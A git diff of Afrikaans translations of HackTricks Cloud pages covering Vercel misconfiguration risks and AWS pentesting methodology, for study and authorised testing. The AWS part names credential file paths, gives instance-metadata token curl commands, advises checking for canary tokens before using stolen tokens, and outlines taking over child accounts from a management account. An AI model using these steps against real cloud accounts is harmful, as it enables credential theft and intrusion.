-- **Tampering with Logs:** Kwaadwillige akteurs kan logs verander of verwyder om hul spore te bedek.
-- **SAML Single Sign-On:** Laat aanpassing van SAML autentisering en gids sinkronisering vir jou span toe, wat integrasie met 'n Identiteitsverskaffer (IdP) vir gesentraliseerde autentisering en gebruikersbestuur moontlik maak.
-- **Misconfiguration:** 'n Aanvaller kan 'n agterdeur in die Span instel deur SAML parameters soos Entity ID, SSO URL, of sertifikaat vingerafdrukke op te stel.
-- **Risk:** Handhaaf volharding.
-- **IP Address Visibility:** Beheer of IP adresse, wat as persoonlike inligting onder sekere dataprotectie wette beskou kan word, in Monitering navrae en Log Drains vertoon word.
-- **Misconfiguration:** Laat IP adres sigbaarheid geaktiveer sonder noodsaaklikheid.
-- **Risks:**
-- **Privacy Violations:** Nie-nakoming van dataprotectie regulasies soos GDPR.
-- **Legal Repercussions:** Potensiële boetes en sanksies vir verkeerde hantering van persoonlike data.
-- **IP Blocking:** Laat die konfigurasie van IP adresse en CIDR reekse toe wat Vercel moet blokkeer. Geblokkeerde versoeke dra nie by tot jou fakturering nie.
-- **Misconfiguration:** Kan deur 'n aanvaller misbruik word om kwaadwillige verkeer toe te laat of legitieme verkeer te blokkeer.
-- **Risks:**
-- **Service Denial to Legitimate Users:** Blokkeer toegang vir geldige gebruikers of vennote.
-- **Operational Disruptions:** Verlies van diens beskikbaarheid vir sekere streke of kliënte.
+- **Risiko's:**
+- **Privaatheid Oortredings:** Blootstelling van sensitiewe gebruikersaktiwiteite en data.
+- **Manipulasie van Logs:** Kwaadwillige akteurs kan logs verander of verwyder om hul spore te bedek.
+- **SAML Enkel Teken Aan:** Laat aanpassing van SAML verifikasie en gids sinkronisering vir jou span toe, wat integrasie met 'n Identiteitsverskaffer (IdP) vir sentraliseerde verifikasie en gebruikersbestuur moontlik maak.
+- **Misconfigurasie:** 'n Aanvaller kan 'n agterdeur in die Span instel deur SAML parameters soos Entiteit ID, SSO URL, of sertifikaat vingerafdrukke op te stel.
+- **Risiko:** Handhaaf volharding.
+- **IP Adres Sigbaarheid:** Beheer of IP adresse, wat as persoonlike inligting onder sekere dataprotectiewette beskou kan word, in Monitering navrae en Log Drains vertoon word.
+- **Misconfigurasie:** Laat IP adres sigbaarheid geaktiveer sonder noodsaaklikheid.
+- **Risiko's:**
+- **Privaatheid Oortredings:** Nie-nakoming van dataprotectiewetgewing soos GDPR.
+- **Regshandelinge:** Potensiële boetes en sanksies vir verkeerde hantering van persoonlike data.
+- **IP Blokkering:** Laat die konfigurasie van IP adresse en CIDR reekse toe wat Vercel moet blokkeer versoeke van. Geblokkeerde versoeke dra nie by tot jou fakturering nie.
+- **Misconfigurasie:** Kan deur 'n aanvaller misbruik word om kwaadwillige verkeer toe te laat of legitieme verkeer te blokkeer.
+- **Risiko's:**
+- **Diens Ontkenning aan Legitieme Gebruikers:** Blokkering van toegang vir geldige gebruikers of vennote.
+- **Operasionele Onderbrekings:** Verlies van diens beskikbaarheid vir sekere streke of kliënte.
---
-### Secure Compute
+### Veilige Rekenaarkomputasie
-**Vercel Secure Compute** stel veilige, private verbindings tussen Vercel Funksies en agtergrond omgewings (bv. databasisse) in deur geïsoleerde netwerke met toegewyde IP adresse te vestig. Dit elimineer die behoefte om agtergrond dienste publiek bloot te stel, wat sekuriteit, nakoming, en privaatheid verbeter.
+**Vercel Veilige Rekenaarkomputasie** stel veilige, private verbindings tussen Vercel Funksies en agtergrond omgewings (bv. databasis) in deur geïsoleerde netwerke met toegewyde IP adresse te vestig. Dit elimineer die behoefte om agtergrond dienste publiek bloot te stel, wat sekuriteit, nakoming, en privaatheid verbeter.
-#### **Potential Misconfigurations and Risks**
+#### **Potensiële Misconfigurasies en Risiko's**
-1. **Incorrect AWS Region Selection**
-- **Misconfiguration:** Kies 'n AWS streek vir die Secure Compute netwerk wat nie ooreenstem met die agtergrond dienste se streek nie.
-- **Risk:** Verhoogde latensie, potensiële data verblyf nakoming probleme, en verswakte prestasie.
-2. **Overlapping CIDR Blocks**
-- **Misconfiguration:** Kies CIDR blokke wat oorvleuel met bestaande VPCs of ander netwerke.
-- **Risk:** Netwerk konflikte wat lei tot mislukte verbindings, ongeoorloofde toegang, of datalekke tussen netwerke.
-3. **Improper VPC Peering Configuration**
-- **Misconfiguration:** Onakkurate opstelling van VPC peering (bv. verkeerde VPC ID's, onvolledige roete tabel opdaterings).
-- **Risk:** Ongeoorloofde toegang tot agtergrond infrastruktuur, mislukte veilige verbindings, en potensiële datalekke.
-4. **Excessive Project Assignments**
-- **Misconfiguration:** Toeken van meerdere projekte aan 'n enkele Secure Compute netwerk sonder behoorlike isolasie.
-- **Risk:** Gedeelde IP blootstelling verhoog die aanval oppervlak, wat moontlik gekompromitteerde projekte toelaat om ander te beïnvloed.
-5. **Inadequate IP Address Management**
-- **Misconfiguration:** Versuim om toegewyde IP adresse behoorlik te bestuur of te roteer.
-- **Risk:** IP spoofing, opsporing kwesbaarhede, en potensiële swartlys as IP's geassosieer word met kwaadwillige aktiwiteite.
-6. **Including Build Containers Unnecessarily**
-- **Misconfiguration:** Voeg bouhouers by die Secure Compute netwerk wanneer agtergrond toegang nie tydens boue benodig word nie.
-- **Risk:** Verhoogde aanval oppervlak, verhoogde voorsieningsvertraagings, en onnodige verbruik van netwerk hulpbronne.
-7. **Failure to Securely Handle Bypass Secrets**
-- **Misconfiguration:** Blootstelling of verkeerde hantering van geheime wat gebruik word om ontplooiing beskermings te omseil.
-- **Risk:** Ongeoorloofde toegang tot beskermde ontplooiings, wat aanvallers toelaat om kwaadwillige kode te manipuleer of te ontplooi.
-8. **Ignoring Region Failover Configurations**
-- **Misconfiguration:** Nie passiewe failover streke op te stel of failover instellings verkeerd te konfigureer nie.
-- **Risk:** Diens stilstand tydens primêre streek uitvalle, wat lei tot verminderde beskikbaarheid en potensiële datainkonsekwentheid.
-9. **Exceeding VPC Peering Connection Limits**
-- **Misconfiguration:** Poging om meer VPC peering verbindings te vestig as die toegelate limiet (bv. meer as 50 verbindings).
-- **Risk:** Onvermoë om nodige agtergrond dienste veilig te verbind, wat ontplooiing mislukkings en operasionele onderbrekings veroorsaak.
-10. **Insecure Network Settings**
-- **Misconfiguration:** Swak firewall reëls, gebrek aan versleuteling, of onvanpaste netwerk segmentasie binne die Secure Compute netwerk.
-- **Risk:** Data afluistering, ongeoorloofde toegang tot agtergrond dienste, en verhoogde kwesbaarheid vir aanvalle.
+1. **Onkorrekte AWS Streek Keuse**
+- **Misconfigurasie:** Kies 'n AWS streek vir die Veilige Rekenaarkomputasie netwerk wat nie ooreenstem met die agtergrond dienste se streek nie.
+- **Risiko:** Verhoogde latensie, potensiële data verblyf nakoming probleme, en verslechterde prestasie.
+2. **Oorvleueling CIDR Blokke**
+- **Misconfigurasie:** Kies CIDR blokke wat oorvleuel met bestaande VPC's of ander netwerke.
+- **Risiko:** Netwerk konflikte wat lei tot mislukte verbindings, ongeoorloofde toegang, of datalekke tussen netwerke.
+3. **Onbehoorlike VPC Peering Konfigurasie**
+- **Misconfigurasie:** Onkorrek opstel van VPC peering (bv. verkeerde VPC ID's, onvolledige roete tabel opdaterings).
+- **Risiko:** Ongeoorloofde toegang tot agtergrond infrastruktuur, mislukte veilige verbindings, en potensiële datalekke.
+4. **Oortollige Projektoewysings**
+- **Misconfigurasie:** Toekenning van meerdere projekte aan 'n enkele Veilige Rekenaarkomputasie netwerk sonder behoorlike isolasie.
+- **Risiko:** Gedeelde IP blootstelling verhoog die aanval oppervlak, wat moontlik gekompromitteerde projekte toelaat om ander te beïnvloed.
+5. **Onvoldoende IP Adres Bestuur**
+- **Misconfigurasie:** Versuim om toegewyde IP adresse behoorlik te bestuur of te roteer.
+- **Risiko:** IP spoofing, opsporing kwesbaarhede, en potensiële swartlys as IP's geassosieer word met kwaadwillige aktiwiteite.
+6. **Onnodige Bou Houers Insluiting**
+- **Misconfigurasie:** Voeg bou houers by die Veilige Rekenaarkomputasie netwerk wanneer agtergrond toegang nie tydens boue benodig word nie.
+- **Risiko:** Verhoogde aanval oppervlak, verhoogde provisioning vertragings, en onnodige verbruik van netwerk hulpbronne.
+7. **Versuim om Bypass Geheime Veilig te Hanteer**
+- **Misconfigurasie:** Blootstelling of verkeerde hantering van geheime wat gebruik word om ontplooiing beskermings te omseil.
+- **Risiko:** Ongeoorloofde toegang tot beskermde ontplooiings, wat aanvallers toelaat om kwaadwillige kode te manipuleer of te ontplooi.
+8. **Ignorering van Streek Failover Konfigurasies**
+- **Misconfigurasie:** Nie opstel van passiewe failover streke of verkeerde failover instellings nie.
+- **Risiko:** Diens stilstand tydens primêre streek uitvalle, wat lei tot verminderde beskikbaarheid en potensiële data inkonsistensie.
+9. **Oorskryding van VPC Peering Verbinding Limiete**
+- **Misconfigurasie:** Poging om meer VPC peering verbindings te vestig as die toegelate limiet (bv. oorskryding van 50 verbindings).
+- **Risiko:** Onvermoë om nodige agtergrond dienste veilig te verbind, wat ontplooiing mislukkings en operasionele onderbrekings veroorsaak.
+10. **Onveilige Netwerk Instellings**
+- **Misconfigurasie:** Swak vuurmuur reëls, gebrek aan versleuteling, of onbehoorlike netwerk segmentasie binne die Veilige Rekenaarkomputasie netwerk.
+- **Risiko:** Data afluistering, ongeoorloofde toegang tot agtergrond dienste, en verhoogde kwesbaarheid vir aanvalle.
---
-### Environment Variables
+### Omgewing Veranderlikes
-**Purpose:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur al die projekte gebruik word.
+**Doel:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur al die projekte gebruik word.
-#### Security Configurations:
+#### Sekuriteitskonfigurasies:
-- **Exposing Sensitive Variables**
-- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
-- **Risk:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat tot datalekke lei.
-- **Sensitive disabled**
-- **Misconfiguration:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees.
-- **Risk:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
+- **Blootstelling van Sensitiewe Veranderlikes**
+- **Misconfigurasie:** Voorafgaande sensitiewe veranderlikes met `NEXT_PUBLIC_`, wat hulle op die kliëntkant toeganklik maak.
+- **Risiko:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat kan lei tot datalekke.
+- **Sensitiewe gedeaktiveer**
+- **Misconfigurasie:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees.
+- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 09bc05707..ca9c6c752 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -6,7 +6,7 @@
**Voordat jy begin pentesting** 'n **AWS** omgewing, is daar 'n paar **basiese dinge wat jy moet weet** oor hoe AWS werk om jou te help verstaan wat jy moet doen, hoe om miskonfigurasies te vind en hoe om dit te benut.
-Konsepte soos organisasiehiërargie, IAM en ander basiese konsepte word verduidelik in:
+Konsepte soos organisasie hiërargie, IAM en ander basiese konsepte word verduidelik in:
{{#ref}}
aws-basic-information/
@@ -37,7 +37,7 @@ Vanuit 'n Red Team perspektief, is die **eerste stap om 'n AWS omgewing te kompr
- **Sosiale** Ingenieurswese
- **Wagwoord** hergebruik (wagwoordlekke)
- Kw vulnerabilities in AWS-gehoste toepassings
-- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) met toegang tot metadata-eindpunt
+- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) met toegang tot metadata eindpunt
- **Plaaslike Lêer Lees**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
@@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Whoami
-Een van die eerste dinge wat jy moet weet is wie jy is (in watter rekening jy is en ander inligting oor die AWS omgewing):
+Een van die eerste dinge wat jy moet weet, is wie jy is (in watter rekening jy is en ander inligting oor die AWS omgewing):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
-> Let daarop dat maatskappye **kanarie tokens** kan gebruik om te identifiseer wanneer **tokens gesteel en gebruik** word. Dit word aanbeveel om te kontroleer of 'n token 'n kanarie token is of nie voordat jy dit gebruik.\
+> Let daarop dat maatskappye dalk **canary tokens** gebruik om te identifiseer wanneer **tokens gesteel en gebruik word**. Dit word aanbeveel om te kontroleer of 'n token 'n canary token is of nie voordat jy dit gebruik.\
> Vir meer inligting [**kyk na hierdie bladsy**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Organisasie Enumerasie
@@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md
As jy genoeg regte het, sal **die privileges van elke entiteit binne die AWS-rekening nagaan** jou help om te verstaan wat jy en ander identiteite kan doen en hoe om **privileges te verhoog**.
-As jy nie genoeg regte het om IAM te enumerate nie, kan jy dit **steal bruteforce** om dit uit te vind.\
-Kyk **hoe om die numerasie en bruteforcing** te doen in:
+As jy nie genoeg regte het om IAM te enumerate nie, kan jy dit **steal bruteforce** om dit uit te figure.\
+Kyk **hoe om die numerasie en bruteforcing te doen** in:
{{#ref}}
aws-services/aws-iam-enum.md
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
## Privilege Verhoging
-As jy **ten minste jou eie regte** oor verskillende hulpbronne kan **nagaan**, kan jy **nagaan of jy in staat is om verdere regte te verkry**. Jy moet ten minste fokus op die regte wat in:
+As jy **ten minste jou eie regte** oor verskillende hulpbronne kan **nagaan**, kan jy **kyk of jy verdere regte kan verkry**. Jy moet ten minste fokus op die regte wat in:
{{#ref}}
aws-privilege-escalation/
@@ -140,9 +140,9 @@ aws-privilege-escalation/
## Publiek Blootgestelde Dienste
Terwyl jy AWS-dienste enumerate, mag jy sommige van hulle gevind het wat **elemente aan die Internet blootstel** (VM/Containers poorte, databasisse of wagdiens, snapshots of emmers...).\
-As pentester/rooi spaner moet jy altyd kyk of jy **sensitiewe inligting / kwesbaarhede** op hulle kan vind aangesien dit jou **verdere toegang tot die AWS-rekening** kan bied.
+As pentester/red teamer moet jy altyd kyk of jy **sensitiewe inligting / kwesbaarhede** op hulle kan vind aangesien dit jou **verdere toegang tot die AWS-rekening** mag bied.
-In hierdie boek behoort jy **inligting** te vind oor hoe om **blootgestelde AWS-dienste te vind en hoe om dit te kontroleer**. Oor hoe om **kwesbaarhede in blootgestelde netwerkdienste** te vind, sou ek jou aanbeveel om te **soek** na die spesifieke **diens** in:
+In hierdie boek behoort jy **inligting** te vind oor hoe om **blootgestelde AWS-dienste te vind en hoe om dit te kontroleer**. Oor hoe om **kwesbaarhede in blootgestelde netwerkdienste** te vind, sou ek jou aanbeveel om **te soek** na die spesifieke **diens** in:
{{#ref}}
https://book.hacktricks.xyz/
@@ -150,18 +150,18 @@ https://book.hacktricks.xyz/
## Kompromitering van die Organisasie
-### Van die wortel/ bestuursrekening
+### Van die wortel/ bestuur rekening
-Wanneer die bestuursrekening nuwe rekeninge in die organisasie skep, word 'n **nuwe rol** in die nuwe rekening geskep, standaard genoem **`OrganizationAccountAccessRole`** en gee **AdministratorAccess** beleid aan die **bestuursrekening** om toegang tot die nuwe rekening te verkry.
+Wanneer die bestuurrekening nuwe rekeninge in die organisasie skep, word 'n **nuwe rol** in die nuwe rekening geskep, standaard genoem **`OrganizationAccountAccessRole`** en gee **AdministratorAccess** beleid aan die **bestuurrekening** om toegang tot die nuwe rekening te verkry.
So, om as administrateur toegang tot 'n kindrekening te verkry, moet jy:
-- **Kompromiteer** die **bestuurs** rekening en vind die **ID** van die **kindrekening** en die **name** van die **rol** (OrganizationAccountAccessRole per standaard) wat die bestuursrekening toelaat om as admin toegang te verkry.
-- Om kindrekeninge te vind, gaan na die organisasieseksie in die aws-konsol of voer `aws organizations list-accounts` uit.
-- Jy kan nie die name van die rolle direk vind nie, so kyk na al die persoonlike IAM-beleide en soek enige wat **`sts:AssumeRole` oor die voorheen ontdekte kindrekeninge** toelaat.
-- **Kompromiteer** 'n **hoof** in die bestuursrekening met **`sts:AssumeRole` toestemming oor die rol in die kindrekeninge** (selfs as die rekening enige iemand van die bestuursrekening toelaat om te verpersoonlik, aangesien dit 'n eksterne rekening is, is spesifieke `sts:AssumeRole` toestemmings nodig).
+- **Kompromiteer** die **bestuur** rekening en vind die **ID** van die **kindrekening** en die **name** van die **rol** (OrganizationAccountAccessRole standaard) wat die bestuurrekening toelaat om as admin toegang te verkry.
+- Om kindrekening te vind, gaan na die organisasieseksie in die aws-konsol of voer `aws organizations list-accounts` uit.
+- Jy kan nie die name van die rolle direk vind nie, so kyk na al die persoonlike IAM-beleide en soek enige wat **`sts:AssumeRole` oor die voorheen ontdekte kindrekening** toelaat.
+- **Kompromiteer** 'n **hoof** in die bestuurrekening met **`sts:AssumeRole` toestemming oor die rol in die kindrekening** (selfs as die rekening enige iemand van die bestuurrekening toelaat om te verpersoonlik, aangesien dit 'n eksterne rekening is, is spesifieke `sts:AssumeRole` toestemmings nodig).
## Outomatiese Gereedskap
@@ -233,15 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase versamel bates en verhoudings van dienste en stelsels, insluitend wolkinfrastruktuur, SaaS-toepassings, sekuriteitsbeheer en meer in 'n intuïtiewe grafiekweergave wat deur die Neo4j-databasis ondersteun word.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase versamel bates en verhoudings van dienste en stelsels, insluitend wolkinfrastruktuur, SaaS-toepassings, sekuriteitsbeheer, en meer in 'n intuïtiewe grafiekweergave wat deur die Neo4j-databasis ondersteun word.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Gebruik python2) Dit is 'n hulpmiddel wat probeer om **alle** [**AWS hulpbronne**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) wat in 'n rekening geskep is, te **ontdek**.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Dit is 'n hulpmiddel om **alle publieke IP-adresse** (beide IPv4/IPv6) wat met 'n AWS-rekening geassosieer is, te **verkry**.
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Dit is 'n hulpmiddel om **alle publieke IP-adresse** (beide IPv4/IPv6) wat met 'n AWS-rekening geassosieer is, te **haal**.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Ontdek die mees bevoorregte gebruikers in die gescande AWS-omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell. Jy kan die **definisie van bevoorregte beleide** in die funksie **`Check-PrivilegedPolicy`** vind in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is 'n oopbron **AWS eksploitering raamwerk**, ontwerp vir offensiewe sekuriteitstoetsing teen wolkomgewings. Dit kan **opnoem**, **mis-konfigurasies** vind en dit **eksploiteer**. Jy kan die **definisie van bevoorregte toestemmings** vind in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) binne die **`user_escalation_methods`** dict.
-- Let daarop dat pacu **slegs jou eie privesc-paaie nagaan** (nie rekeningwyd nie).
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is 'n oopbron **AWS eksploitasiestelsel**, ontwerp vir offensiewe sekuriteitstoetsing teen wolkomgewings. Dit kan **opnoem**, **mis-konfigurasies** vind en dit **eksploiteer**. Jy kan die **definisie van bevoorregte toestemmings** vind in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) binne die **`user_escalation_methods`** dict.
+- Let daarop dat pacu **slegs jou eie privesc-paaie nagaan** (nie rekeningwyd).
```bash
# Install
## Feel free to use venvs
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is 'n skrif en biblioteek vir die identifisering van risiko's in die konfigurasie van AWS Identity and Access Management (IAM) vir 'n AWS-rekening of 'n AWS-organisasie. Dit modelleer die verskillende IAM-gebruikers en rolle in 'n rekening as 'n gerigte grafiek, wat toelaat dat kontroles vir **privilege escalation** en vir alternatiewe paaie wat 'n aanvaller kan neem om toegang tot 'n hulpbron of aksie in AWS te verkry, gedoen word. Jy kan die **permissions used to find privesc** paaie in die lêername wat eindig op `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) nagaan.
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is 'n skrif en biblioteek om risiko's in die konfigurasie van AWS Identity and Access Management (IAM) vir 'n AWS-rekening of 'n AWS-organisasie te identifiseer. Dit modelleer die verskillende IAM-gebruikers en rolle in 'n rekening as 'n gerigte grafiek, wat toelaat dat kontroles vir **privilege escalation** en vir alternatiewe paaie wat 'n aanvaller kan neem om toegang tot 'n hulpbron of aksie in AWS te verkry, gedoen word. Jy kan die **permissions used to find privesc** paaie in die lêername wat eindig op `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) nagaan.
```bash
# Install
pip install principalmapper
@@ -291,10 +291,10 @@ cloudsplaining download --profile dev
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack evalueer AWS-rekeninge vir **subdomein-hijacking kwesbaarhede** as gevolg van ontkoppelde Route53 en CloudFront konfigurasies.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lys ECR repos -> Trek ECR repo -> Agterdeur dit -> Stoot agterdeur beeld
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is 'n hulpmiddel wat **soek** deur openbare Elastic Block Storage (**EBS) snappies vir geheime** wat dalk per ongeluk agtergelaat is.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lys ECR repos -> Trek ECR repo -> Backdoor dit -> Stoot backdoored beeld
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is 'n hulpmiddel wat **soek** deur openbare Elastic Block Storage (**EBS) snapshots vir geheime** wat dalk per ongeluk agtergelaat is.
-### Audit
+### Oudit
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit deur Aqua is 'n oopbronprojek wat ontwerp is om die opsporing van **veiligheidsrisiko's in wolkinfrastruktuur** rekeninge moontlik te maak, insluitend: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), en GitHub (Dit soek nie na ShadowAdmins nie).
```bash
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is 'n Open Source sekuriteitstoepassing om AWS sekuriteit beste praktyke assesserings, ouditte, insidentrespons, deurlopende monitering, verharding en forensiese gereedheid uit te voer.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is 'n Open Source sekuriteitstoepassing om AWS sekuriteit beste praktyke assesserings, ouditte, insidentreaksie, deurlopende monitering, verharding en forensiese gereedheid uit te voer.
```bash
# Install python3, jq and git
# Install
@@ -314,11 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox help jou om situasionele bewustheid te verkry in onbekende wolkomgewings. Dit is 'n oopbron-opdraglyn hulpmiddel wat geskep is om penetrasietoetsers en ander offensiewe sekuriteitsprofessionals te help om ontginbare aanvalspaaie in wolkinfrastruktuur te vind.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox help jou om situasionele bewustheid te verkry in onbekende wolkomgewings. Dit is 'n oopbron-opdraglyn hulpmiddel geskep om penetrasietoetsers en ander offensiewe sekuriteitsprofessionals te help om ontginbare aanvalspaaie in wolkinfrastruktuur te vind.
```bash
cloudfox aws --profile [profile-name] all-checks
```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is 'n oopbron multi-cloud sekuriteitsouditering hulpmiddel, wat sekuriteitsposisie assessering van wolkomgewings moontlik maak.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is 'n oopbron multi-cloud sekuriteitsouditinstrument, wat sekuriteitsposisie-evaluering van wolkomgewings moontlik maak.
```bash
# Install
virtualenv -p python3 venv
@@ -330,15 +330,15 @@ scout --help
scout aws -p dev
```
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (gebruik python2.7 en lyk ononderhoude)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is 'n kragtige hulpmiddel vir AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste versterking praktyke (lyk ononderhoude). Dit kontroleer slegs standaard geconfigureerde kredensies binne die stelsel.
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is 'n kragtige hulpmiddel vir AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste versterking praktyke (lyk ononderhoude). Dit kontroleer slegs standaard geconfigureerde krediete binne die stelsel.
### Konstante Oudit
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is 'n reëlsengine vir die bestuur van openbare wolk rekeninge en hulpbronne. Dit stel gebruikers in staat om **beleide te definieer om 'n goed bestuurde wolkinfrastruktuur te enable**, wat beide veilig en koste-geoptimaliseer is. Dit konsolideer baie van die ad-hoc skripte wat organisasies het in 'n liggewig en buigsame hulpmiddel, met verenigde metrieke en verslagdoening.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is 'n platform vir **deurlopende nakoming monitering, nakoming verslagdoening en sekuriteit outomatisering vir die wolk**. In PacBot word sekuriteit en nakoming beleide as kode geïmplementeer. Alle hulpbronne wat deur PacBot ontdek word, word geëvalueer teen hierdie beleide om beleidskonformiteit te meet. Die PacBot **auto-fix** raamwerk bied die vermoë om outomaties te reageer op beleids oortredings deur vooraf gedefinieerde aksies te neem.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is 'n serverless, **regte-tyd** data analise raamwerk wat jou in staat stel om **data van enige omgewing in te neem, te analiseer en te waarsku** , met **data bronne en waarskuwing logika wat jy definieer**. Rekenaar sekuriteitspanne gebruik StreamAlert om terabytes van logdata elke dag te skandeer vir insidentdetectie en -reaksie.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is 'n reëls engine vir die bestuur van openbare wolk rekeninge en hulpbronne. Dit stel gebruikers in staat om **beleide te definieer om 'n goed bestuurde wolkinfrastruktuur te enable**, wat beide veilig en koste-geoptimaliseer is. Dit konsolideer baie van die adhoc skripte wat organisasies het in 'n liggewig en buigsame hulpmiddel, met verenigde metrieke en verslagdoening.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is 'n platform vir **deurlopende nakoming monitering, nakoming verslagdoening en sekuriteit outomatisering vir die wolk**. In PacBot word sekuriteit en nakoming beleid as kode geïmplementeer. Alle hulpbronne wat deur PacBot ontdek word, word geëvalueer teen hierdie beleide om beleid nakoming te meet. Die PacBot **auto-fix** raamwerk bied die vermoë om outomaties te reageer op beleids oortredings deur vooraf gedefinieerde aksies te neem.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is 'n serverless, **regte-tyd** data analise raamwerk wat jou in staat stel om **data van enige omgewing in te neem, te analiseer en te waarsku** , **met data bronne en waarskuwing logika wat jy definieer**. Rekenaar sekuriteitspanne gebruik StreamAlert om terabytes van logdata elke dag te skandeer vir insidentdetectie en -reaksie.
-## DEBUG: Capture AWS cli versoeke
+## DEBUG: Capture AWS cli requests
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 4210e4962..f75d0953f 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -8,56 +8,56 @@
### Rekeninge
